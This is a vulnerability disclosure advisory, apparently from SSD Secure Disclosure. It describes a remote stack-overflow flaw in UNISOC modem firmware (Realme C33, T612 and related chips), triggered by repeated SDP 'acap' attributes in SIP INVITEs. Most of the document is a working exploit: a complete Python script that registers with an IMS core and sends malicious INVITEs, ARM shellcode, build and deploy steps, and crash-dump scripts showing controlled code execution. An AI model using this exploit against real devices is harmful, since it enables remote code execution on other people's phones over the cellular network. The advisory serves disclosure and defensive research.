Summary

UNISOC (Shanghai) Technologies Co., Ltd. is a top-three global fabless semiconductor company headquartered in Shanghai, specializing in 2G/3G/4G/5G mobile communication, IoT, and smart device chipsets. Formerly Spreadtrum, it serves major brands like Honor, realme, vivo, Samsung, and Motorola, with products in over 140 countries.

A critical vulnerability has been discovered in the UNISOC modem firmware that enables one User Equipment (UE) to remotely attack another UE over the cellular network. By sending specially crafted malformed SDP within SIP signaling messages/requests, an attacker can trigger memory corruption in the target modem, potentially leading to remote execution of arbitrary native code on the victim device.

We have tried to reach out to the vendor through multiple channels (email and LinkedIn) but have not been able to receive any response.

Credit

The vulnerabilities have been discovered by, an independent security researcher 0x50594d, working with SSD Secure Disclosure.

Affected Versions
  • MOCORTM_22A_W23.02.5_P12.14_Debug (part of Realme C33)
  • T612, T616, T606 and T7250
Vulnerability Details

An exploitable Uncontrolled Recursion (CWE-674) was identified in the modem’s handling of SDP messages. The root cause lies in unsafe parsing logic inside the _SDPDEC_AcapDecoder function, which fails to properly validate message fields before processing.

Root cause analysis

The function _SDPDEC_AcapDecoder is responsible for handling the acap attribute. After parsing the attribute’s value, the function retrieves the name of the next attribute. It then looks up this attribute in the SipHandler_AttrDecoder table. If the attribute is recognized, the appropriate handler is invoked.

undefined8 _SDPDEC_AcapDecoder(Token *token,ParseBuffer *parse_buffer,SdpMsgStruct *hSdpMsg)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  char *pcVar4;
  int iVar5;
  sipHandlerFunc *handler;
  int iVar6;
  int local_30;
  SdpMsgStruct *handler_id;
  undefined1 error [4];

  iVar6 = token->field3_0x14;
  local_30 = 0;
  handler_id = hSdpMsg;
  display_sip_message(0x200,"_SDPDEC_AcapDecoder: hSdpMsg:%X hAttr:%X",hSdpMsg,iVar6);
  *(undefined2 *)(iVar6 + 0x14) = 1;
  iVar2 = (*(code *)token->handlerGetToken)(token,parse_buffer," ");
  if (iVar2 == 1) {
    if ((token->CurrToken).length != 0) {
      uVar3 = strtoll((token->CurrToken).pStart,error,10);
      *(undefined4 *)(iVar6 + 0x18) = uVar3;
      iVar2 = (*(code *)token->handlerGetToken)(token,parse_buffer,":\r\n");
      if (iVar2 == 1) {
        iVar2 = search_handler(&token->CurrToken,SipHandler_AttrDecoder,0x38,&handler_id);  // get appropriate handler

        -- SNIP --

          handler = SipHandler_AttrDecoder[(int)handler_id].handler;
          token->currentHandlerExecution = handler;
          if ((handler == (sipHandlerFunc *)0x0) ||
             (cVar1 = (*handler)(token,parse_buffer,(int)hSdpMsg), cVar1 == '\x01')) {    // handler invoked
            iVar5 = *(int *)(iVar6 + 0x1c);
            if (iVar5 == 0x2b) {

The SipHandler_AttrDecoder table is presented below. It can be observed that the acap attribute is included in the table.

        8d0f25c0 44 9e e1        SipHandler_AttrDecoder
                 8b 0b 00 
                 00 00 87 
           8d0f25c0 44 9e e1 8b 0b  SipHandler                        [0]           = "rtpmap"
                    00 00 00 87 ff                                                                                   
                    c8 8b                                                                                            
           8d0f25cc 4c 9e e1 8b 0c  SipHandler                        [1]           = "cat"
                    00 00 00 95 fd 
                    c8 8b
            // -- SNIP -- //
           8d0f280c 80 a0 e1 8b 3d  SipHandler                        [49]          = "acap"
                    00 00 00 c3 15 
                    c9 8b

This is problematic because the _SDPDEC_AcapDecoder function can recursively call itself without any limit. An input containing multiple acap attributes on the same line will cause the SIP task’s stack to collide with the sblock_0_2 task’s stack.

Bellow SDP poc that will trigger the stack overflow :

v=0
a=acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 [...] acap:1

It is possible to trigger an overflow in the sblock_0_2 task, but it is now necessary to ensure that this task is activated so that our stack overflow affects it. After analyzing the kernel code of the RealmeC33, it appears that this task is activated whenever data fragmentation occurs in the IMS context. SRTP packets will cause data fragmentation. Consequently, a simple video call initiated by the attacker will fragment the data and therefore trigger the sblock_0_2 task and then crash.

Code execution can be induced as the overflow in the sblock_0_2 task overwrites function pointers. For the purposes of this analysis, a separate attribute – the crypto attribute – was used to introduce controlled data onto the stack.

Exploit
Test Environment Setup

For testing purposes, the Docker-based Open5GS deployment with Kamailio was used.

The Dockerized VoLTE Setup tutorial was used as a reference.

Victime phone

The victim’s phone used in this test is the following:

  • Mobile Realme C33 (Unisoc T612)
  • Android security update 1 jully 2025

It is possible to root the phone by using the following repository.

Attacker phone

An attacker could use any smartphone to contact the victim, requiring only the ability to place a video call.

Sim cards

The Osmocom USIM card sysmoISIM-SJA5-9FV SIM + USIM + ISIM Card (10-pack) with ADM keys; 9FV chip: has been acquired.

Antenna

The LimeSDR is utilized for 4G communication.

Attacker machine

An additional machine, used solely for running the exploit code, was added to the Docker Compose environment at the address 172.22.0.100. It registers with the IMS in the same manner as a standard User equipment. The machine was included as follows.

  attacker_machine:
    image: attacker
    container_name: attacker
    expose:
      - "10101/tcp"
    networks:
      default:
        ipv4_address: 172.22.0.100

Dockerfile is the following :

FROM pwntools/pwntools

RUN cd /home/pwntools/ \
    && git clone https://github.com/mitshell/CryptoMobile \
    && cd CryptoMobile \
    && pip install . --break-system-packages

RUN sudo apt update \
    && sudo apt install openssh-server -y \
    && sudo mkdir /run/sshd \
    && sudo chmod 755 /run/sshd

RUN mkdir /home/pwntools/.ssh/ \
    && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGa5TjMbqFs1mQLm5rUqPctCpOYAdnN/GDAkPks0Zlk9 gateau' >> /home/pwntools/.ssh/authorized_keys

COPY exploit.py /home/pwntools/
COPY shellcode/text.bin /home/pwntools/

ENTRYPOINT [ "sudo", "/usr/sbin/sshd", "-D", "-e", "-p", "10101" ]

Start Ylog (Optional for exploitation)

To obtain the crash dump from the phone and force the modem to delay before restarting, the slog must be activated. This requires starting engineering mode, which can be done via ADB.

adb shell am start -n com.sprd.engineermode/.EngineerModeActivity

Next you choose debug&log, YLog and press Start.

Attack

The exploit.py script, simulates the attacker device by authenticating to the core network and sending INVITE messages containing the test payload in the message body.

To run the script, authenticate on the exploit machine and launch the tool. The script includes an argparse interface, allowing you to provide custom parameters as needed.

$ python exploit.py
[+] Opening connection to 172.22.0.21 on port 5060: Done
ims.mnc070.mcc999.3gppnetwork.org
[+] xmac is correct continue
[+] Authentication work!
[+] Registration complete
[+] Exploit has been send, now call the victim !
[*] Closed connection to 172.22.0.21 port 5060

Immediately afterward, initiate a video call from the attacker device to the victim device. Once the victim answers the call, the modem enters the crash state.

The exploitation script exploit.py

#!/usr/bin/env python3

from pwn import *
import re
from argparse import ArgumentParser
from CryptoMobile.Milenage import Milenage


IP_ATTACKER = "172.22.0.100"


class SipMessage:
    def __init__(self, first_line, headers, content_length, content):
        self.first_line = first_line
        self.headers = headers
        self.content_length = content_length
        self.content = content

    def __repr__(self):
        result = self.first_line.decode()
        result += "\n".join(
            [f"{header['name']}: {header['value']}" for header in self.headers]
        )
        result += "\n\n"
        if self.content_length != 0:
            result += self.content.decode()

        return result

    def get_header(self, name):
        results = []
        for header in self.headers:
            if header["name"] == name:
                results += [header["value"]]
        return results


class Digest:
    def __init__(self, digest, ki, opc, user):
        self.digest = digest[7:]
        realm = re.findall('realm="([^"]*)"', self.digest)[0]
        self.b64nonce = re.findall('nonce="([^"]*)"', self.digest)[0]

        print(realm)

        self.nonce = base64.b64decode(self.b64nonce)
        self.rand = self.nonce[:16]
        self.sqnxoraka = self.nonce[16:22]
        self.amf = self.nonce[22:24]
        self.mac = self.nonce[24:32]

        # self.op = derive_op_from_opc()

        milenage = Milenage(None)
        milenage.set_opc(opc)

        res, ck, ik, ak = milenage.f2345(ki, self.rand)
        self.res = res
        self.ck = ck
        self.ak = ak
        self.ik = ik

        self.sqn = bytes(a ^ b for a, b in zip(self.sqnxoraka, self.ak))

        self.xmac = milenage.f1(ki, self.rand, self.sqn, self.amf)
        if self.mac != self.xmac:
            print("[-] xmac is different from mac")
            exit()
        print("[+] xmac is correct continue")

        self.nc = "00000001"
        self.cnonce = "Yy5R3qjx"

        A1 = hashlib.md5()
        A1.update(user.encode())
        A1.update(b":")
        A1.update(realm.encode())
        A1.update(b":")
        A1.update(self.res)

        A1_hex = A1.digest().hex()

        A2 = hashlib.md5()
        A2.update(b"REGISTER")
        A2.update(b":")
        A2.update(b"sip:")
        A2.update(realm.encode())

        A2_hex = A2.digest().hex()

        response = hashlib.md5()
        response.update(A1_hex.encode())
        response.update(b":")
        response.update(self.b64nonce.encode())
        response.update(b":")
        response.update(self.nc.encode())
        response.update(b":")
        response.update(self.cnonce.encode())
        response.update(b":")
        response.update(b"auth")
        response.update(b":")
        response.update(A2_hex.encode())

        self.response_hex = response.digest().hex()

        self.authorisation_header = "Authorization: Digest "
        self.authorisation_header += f'username="{user}", '
        self.authorisation_header += f'realm="{realm}", '
        self.authorisation_header += f'nonce="{self.b64nonce}", '
        self.authorisation_header += f'uri="sip:{realm}", '
        self.authorisation_header += f'response="{self.response_hex}", '
        self.authorisation_header += f"qop=auth, nc={self.nc}, algorithm=AKAv1-MD5, "
        self.authorisation_header += f'cnonce="{self.cnonce}"'


class Exploit:
    def __init__(self):
        HOST = "172.22.0.21"
        self.con = remote(HOST, 5060, typ="tcp")

    def get_src_port(self):
        return self.con.lport

    def send(self, data: bytes):
        self.con.send(data)

    def recv_sip_message(self) -> SipMessage:
        status_line = self.con.recvuntil(b"\r\n")
        headers = self.con.recvuntil(b"\r\n\r\n")
        content_length = int(re.findall(b"Content-Length: ([0-9]*)\r\n", headers)[0])
        content = b""

        if content_length != 0:
            content = self.con.recvn(content_length)

        headers_list = []
        for header in headers.split(b"\r\n"):
            header = re.findall(b"([^:]*): (.*)", header)
            if len(header) == 1:
                header = header[0]
                headers_list += [
                    {"name": header[0].decode(), "value": header[1].decode()}
                ]

        return SipMessage(
            status_line,
            headers=headers_list,
            content_length=content_length,
            content=content,
        )


def get_shellcode_parts():
    with open("text.bin", "rb") as f:
        content = f.read()
    result = []
    for i in range(0, len(content), 0x30 * 8):
        result.append(content[i : i + 28])
    return result


def main():
    exploit = Exploit()
    lport = exploit.get_src_port()

    parser = ArgumentParser()

    parser.add_argument("--imsi_attacker", default="999999999999999")
    parser.add_argument("--ki_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")
    parser.add_argument("--opc_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")

    parser.add_argument("--victim_phone_number", default="9076543210")
    parser.add_argument("--attacker_phone_number", default="9076543211")

    args = parser.parse_args()

    imsi_attacker = args.imsi_attacker
    ki_attacker = bytes.fromhex(args.ki_attacker)
    opc_attacker = bytes.fromhex(args.opc_attacker)
    domain = f"ims.mnc0{imsi_attacker[3:5]}.mcc{imsi_attacker[:3]}.3gppnetwork.org"

    victim_phone_number = args.victim_phone_number
    attacker_phone_number = args.attacker_phone_number

    SIP_SEQ_ID = 1

    register_request = f"""REGISTER sip:{domain} SIP/2.0
Via: SIP/2.0/TCP {IP_ATTACKER}:5060;branch=z9hG4bKku3z6faSleAq7RjyBvKgLzV4o
Max-Forwards: 70
From: <sip:{imsi_attacker}@{domain}>;tag=OG2.Dh8xb.ScY7
To: <sip:{imsi_attacker}@{domain}>
Call-ID: qahZb0O6BMOCyixWwVd1mGJme2Oo@{IP_ATTACKER}
CSeq: {SIP_SEQ_ID:d} REGISTER
Contact: <sip:{imsi_attacker}@{IP_ATTACKER}:5060>
Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE, INFO, PRACK, UPDATE, OPTIONS
Authorization: Digest username="{imsi_attacker}@{domain}", realm="{domain}", nonce="", uri="sip:{domain}", response=""
Expires: 0
Supported: path
Content-Length: 0

""".replace(
        "\n", "\r\n"
    ).encode()
    SIP_SEQ_ID += 1

    exploit.send(register_request)
    Trying = exploit.recv_sip_message()
    sip_challenge = exploit.recv_sip_message()

    www_authenticate = sip_challenge.get_header("WWW-Authenticate")[0]

    digest = Digest(
        www_authenticate, ki_attacker, opc_attacker, f"{imsi_attacker}@{domain}"
    )

    register_request_auth = f"""REGISTER sip:{domain}:5060 SIP/2.0
Via: SIP/2.0/TCP {IP_ATTACKER}:5060;branch=z9hG4bK4252247255
Max-Forwards: 69
From: <sip:{imsi_attacker}@{domain}>;tag=4130282331
To: <sip:{imsi_attacker}@{domain}>
Call-ID: qahZb0O6BMOCyixWwVd1mGJme2Oo@{IP_ATTACKER}
CSeq: {SIP_SEQ_ID:d} REGISTER
Contact: <sip:{imsi_attacker}@{IP_ATTACKER}:{lport:d}>
Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE, INFO, PRACK, UPDATE, OPTIONS
AUTHORIZATION
Content-Length: 0

""".replace(
        "\n", "\r\n"
    ).encode()

    SIP_SEQ_ID += 1

    exploit.send(
        register_request_auth.replace(
            b"AUTHORIZATION", digest.authorisation_header.encode()
        )
    )
    trying = exploit.recv_sip_message()
    ok = exploit.recv_sip_message()

    if b"SIP/2.0 200 OK" not in ok.first_line:
        raise Exception("Error authentification")

    print("[+] Authentication work!")

    rport = re.findall("rport=([0-9]*)", ok.get_header("Via")[0])[0]

    subscribe_request = f"""SUBSCRIBE sip:{attacker_phone_number}@{domain} SIP/2.0
From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331
To: <sip:{attacker_phone_number}@{domain}>
Call-ID: 4130282328_46852536@{IP_ATTACKER}
Via: SIP/2.0/TCP {IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255
Max-Forwards: 70
Route: <sip:172.22.0.21:{lport:d};lr>,<sip:orig@scscf.{domain}:6060;lr>
CSeq: {SIP_SEQ_ID:d} SUBSCRIBE
Event: reg
Contact: <sip:{IP_ATTACKER}:{lport:d}>
Content-Length: 0

""".replace(
        "\n", "\r\n"
    ).encode()

    SIP_SEQ_ID += 1

    exploit.send(subscribe_request)
    reg_saved = exploit.recv_sip_message()

    if b"SIP/2.0 200 Subscription to REG saved" not in reg_saved.first_line:
        raise Exception("[-] Subscribtion to reg failed")

    notify = exploit.recv_sip_message()
    if b"NOTIFY" not in notify.first_line:
        raise Exception("[-] Registration error")

    vias = notify.get_header("Via")
    routes = "\n".join(["Via: " + via for via in vias])

    ok = f"""SIP/2.0 200 OK
{routes}
To: {notify.get_header("To")[0]}
From: {notify.get_header("From")[0]}
CSeq: {notify.get_header("CSeq")[0]}
Call-ID: {notify.get_header("Call-ID")[0]}
Content-Length: 0

""".replace(
        "\n", "\r\n"
    ).encode()

    exploit.send(ok)

    print("[+] Registration complete")

    SIP_SEQ_ID = 7

    def send_exploit(data, sip_seq_id, stack_depth=165):
        data += data + b"a" * (0x80 - len(data))
        payload = b"v=0\r\n"
        payload += b"m=video 51372 RTP/AVP \r\n"  # for stack decallage
        payload += b"a=" + b"acap:1 " * stack_depth + b"crypto:1 " + data + b"\r\n"

        invite = f"""INVITE sip:{victim_phone_number};phone-context={domain}@{domain};user=phone SIP/2.0
From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331
To: <sip:{victim_phone_number};phone-context={domain}@{domain};user=phone>
CSeq: {sip_seq_id:d} INVITE
Call-ID: 4128004109_45009256@{IP_ATTACKER}
Via: SIP/2.0/TCP {IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255
Max-Forwards: 70
Contact: <sip:{IP_ATTACKER}:{lport:d}>
Route: <sip:172.22.0.21:5060;lr>,<sip:orig@scscf.{domain}:6060;lr>
P-Preferred-Identity: <tel:{attacker_phone_number}>
Allow: INVITE,ACK,CANCEL,BYE,UPDATE,PRACK,MESSAGE,REFER,NOTIFY,INFO,OPTIONS
Content-Type: application/sdp
Accept: application/sdp,application/3gpp-ims+xml
P-Preferred-Service: urn:urn-7:3gpp-service.ims.icsi.mmtel
Accept-Contact: *;+g.3gpp.icsi-ref="urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel"
Supported: timer,100rel,replaces,histinfo,tdialog
P-Early-Media: supported
Content-Length: {len(payload):d}
Session-Expires: 1800;refresher=uac

""".replace(
            "\n", "\r\n"
        ).encode()

        invite += payload

        exploit.send(invite)
        trying = exploit.recv_sip_message()
        if b"SIP/2.0 100 Trying" not in trying.first_line:
            raise Exception("Not a trying message")
        # print(trying)
        not_acceptable = exploit.recv_sip_message()
        if b"SIP/2.0 488 Not Acceptable" not in not_acceptable.first_line:
            raise Exception("Not a not acceptable message")

    for i, part in enumerate(get_shellcode_parts()):
        send_exploit(part, SIP_SEQ_ID, 165 - i * 8)
        SIP_SEQ_ID += 1

    print("[+] Exploit has been send, now call the victim !")


if __name__ == "__main__":
    main()

Shellcode that will be executed

.text
.global _start
.THUMB

.equ HOLE_BETWEEN_PARTS, 356

_start:
   nop
   nop
   nop
   nop
   nop
   nop
   # just after the PC
message: .word 0x8cbf46ad
   mov r0, sp               @ STDOUT
   nop
   nop
   nop
   nop
   b _second_chunk

.space HOLE_BETWEEN_PARTS
_second_chunk:
   movw r1, #0x270c
   movt r1, #0x8d0f

   movw r2, #0xbeef
   movt r2, #0xdead

   str r2, [r1]
   nop
   nop
   nop
   nop
   b _third_chunk

.space HOLE_BETWEEN_PARTS
# write the loader 
_third_chunk:
   movw r1, #0x270c
   movt r1, #0x8d0f
   .word 0xffffffff

Makefile used for compiling the shellcode.

all:
    arm-linux-gnueabi-as shellcode.s -o shellcode.o
    arm-linux-gnueabi-ld shellcode.o -o shellcode
    arm-linux-gnueabi-objdump -d shellcode
    arm-linux-gnueabi-objcopy -O binary -j .text shellcode text.bin
    scp -P 10101 text.bin  pwntools@172.22.0.100:volume

Get the state at time of crash

You can retrieve the entire modem memory using the dump_modem.sh script.

#!/bin/bash

adb shell su -c "/vendor/bin/modem_ctrl_dbg dump cp 255"
adb shell su -c "cp /data/modem_dump/all.mem /data/local/tmp"
adb pull /data/local/tmp/all.mem
$ ./dump_modem.sh 
modem_dbg_dump_region, index = 255.
dump all: size = 0x6700000.
dump succ /data/modem_dump/all.mem.
/data/local/tmp/all.mem: 1 file pulled, 0 skipped. 29.8 MB/s (108003328 bytes in 3.451s)

The script analysis.py can then be used to obtain the registers after the modem has crashed.

from struct import pack, unpack
from argparse import ArgumentParser


def u32(value):
    return unpack("<I", value)[0]


def p32(value):
    return pack("<I", value)


def display_registers(registers_dump):
    values = []
    result = ""
    for x in split(registers_dump, 4):
        values.append(u32(x))
    result = "\n".join(
        [
            "\t".join([f"r{i*4 + j} = 0x{values[i*4+j]:08x}" for j in range(4)])
            for i in range(3)
        ]
    )
    result += "\n"
    result += (
        f"sp = 0x{values[13]:08x}\tlr = 0x{values[14]:08x}\tpc = 0x{values[15]:08x}\n"
    )
    result += f"SPSR = 0x{values[16]:08x}\tCPSR = 0x{values[17]:08x}"
    return result


def get_registers_from_dump(registers_dump):
    registers = {}
    values = []
    for x in split(registers_dump, 4):
        values.append(u32(x))
    for i in range(13):
        registers[f"r{i:d}"] = values[i]
    registers["sp"] = values[13]
    registers["lr"] = values[14]
    registers["pc"] = values[15]
    registers["SPSR"] = values[16]
    registers["CPSR"] = values[17]
    return registers


def split(my_str, size_split):
    return [my_str[x : x + size_split] for x in range(0, len(my_str), size_split)]


def main():

    parser = ArgumentParser()
    parser.add_argument("dump_file", help="The dump file from phone")
    args = parser.parse_args()
    with open(args.dump_file, "rb") as f:
        content = f.read()

    print(display_registers(content[0x372F000 : 0x372F000 + 30 * 4]))


if __name__ == "__main__":
    main()

The analysis script reports the register values at the moment of the modem crash. In this case, it shows r1 = 0x8d0f270c and r2 = 0xdeadbeef, indicating that the value 0xdeadbeef was written to address 0x8d0f270c. This behavior demonstrates code execution flow on the modem. The payload used for this demonstration can be adjusted as needed, but it must be divided into 28-byte segments with .space HOLE_BETWEEN_PARTS inserted between segments.

$ python analysis.py all.mem 
r0 = 0x8bc8fb60    r1 = 0x8d0f270c r2 = 0xdeadbeef r3 = 0x00000001
r4 = 0x00000000    r5 = 0x8c4bc770 r6 = 0x8cbf6774 r7 = 0x00000200
r8 = 0x8cbf6774    r9 = 0x8bc90491 r10 = 0x8cbf6724    r11 = 0x46c046c0
sp = 0x8ce807f8    lr = 0x8cbf499e pc = 0x8b003fd8
SPSR = 0x880f037f    CPSR = 0x880f01db

?

Get in touch

Skip to content